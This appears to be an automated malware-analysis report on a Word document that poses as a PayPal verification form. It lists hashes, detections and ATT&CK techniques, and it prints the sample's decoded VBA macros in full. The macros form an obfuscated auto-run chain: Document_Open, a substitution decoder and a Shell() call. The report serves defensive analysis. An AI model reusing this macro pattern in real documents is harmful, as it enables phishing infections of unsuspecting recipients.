Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 73cd252668bd0085…

MALICIOUS

Office (OLE)

43.0 KB Created: 2018-10-09 02:22:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 7cef3d08604dcc4117a27ae76a6f797d SHA-1: f1c2cb839c4e3bda21e64bc64cc28c1fe016d881 SHA-256: 73cd252668bd0085f34a90f06729b9611d4cbb8c304e4158c91dc967146ecdd7
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro that calls the Shell() function, indicating malicious intent. The document body impersonates PayPal, requesting personal information under the guise of account verification, which is a common phishing lure. The VBA script likely executes a payload via the Shell() call, although the exact nature of the payload is obfuscated.

Heuristics 5

  • ClamAV: Doc.Malware.Generic-6714169-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6714169-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3041 bytes
SHA-256: 6aa5f54dfdb954ede7610983e80fd29b8840fbcc3f87d3a5eadf2b94cc470c08
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
sda = "sda1"
sda = "sda2"
secondBracketAddress sda
sda = "sda3"
End Sub

Attribute VB_Name = "first"
Attribute VB_Base = "0{7F78A267-F5C6-487D-B2FE-172C8F531530}{B4BAF99F-F1AC-40F8-A5D4-24059BFB31F8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub usage_Change()
entries = 32
entries = 33
entries = 19
entries = 76
entries = 14
entries = 79
entries = 72
entries = 17
entries = 36
entries = 32
entries = 92
entries = 67
entries = 94
entries = 37
entries = 48
entries = 81
underflow = first.usage
entries = 34
entries = 26
entries = 91
entries = 25
entries = 58
entries = 85
entries = 35
entries = 26
entries = 16
entries = 14
entries = 35
entries = 37
entries = 69
entries = 52
entries = 63
entries = 88
entries = 59
entries = 36
Shell underflow, 0
entries = 61
entries = 45
entries = 14
entries = 87
entries = 98
entries = 69
entries = 80
entries = 90
entries = 100
entries = 73
entries = 51
entries = 92
entries = 98
entries = 62
entries = 46
entries = 5
End Sub

Private Sub parameter_Change()
ANSI
End Sub

Attribute VB_Name = "Entry"
Public Sub secondBracketAddress(containing)
first.parameter = containing
End Sub

Attribute VB_Name = "reportOut"
Public Sub ANSI()
arz = ""
Benefit first.flg, arz
first.GNUC = arz
first.usage = first.GNUC
End Sub

Attribute VB_Name = "codepage"
Sub Benefit(getErrorMessages, ByRef IMAGEHLP_SYMBOL64_EXT)
IMAGEHLP_SYMBOL64_EXT = ""
strings6 = 1
characters strings6, IMAGEHLP_SYMBOL64_EXT, getErrorMessages
End Sub

Sub Using(interrupt, cstdlib, ByRef some)
some = Right(Left(interrupt, cstdlib), 1)
End Sub

Sub characters(ByRef top, ByRef Avoid, handler)
been = Len(handler)
If top <= been Then
usr = ""
Using handler, top, usr
nsr = 1
no usr, nsr
ucsr = ""
UNDNAME_COMPLETE nsr - 1, ucsr
Avoid = Avoid + ucsr
top = top + 1
characters top, Avoid, handler
End If
End Sub

Sub loadDbgHelp(ByRef argv, ByRef fpSymGetModuleBase64, UNUSED)
If argv < Len(first.CTRL) Then
    usr = ""
    Using first.CTRL, argv, usr
    If UNUSED <> usr Then
    argv = argv + 1
    loadDbgHelp argv, fpSymGetModuleBase64, UNUSED
    Else
    fpSymGetModuleBase64 = argv
    End If
End If
End Sub

Sub UNDNAME_COMPLETE(either, ByRef symbol)
symbol = ""
If either < 1 Then
Using first.CTRL, Len(first.CTRL) + either, symbol
Else
Using first.CTRL, either, symbol
End If
End Sub

Sub no(UNUSED, ByRef fpSymGetModuleBase64)
argv = 1
fpSymGetModuleBase64 = 1
loadDbgHelp argv, fpSymGetModuleBase64, UNUSED
End Sub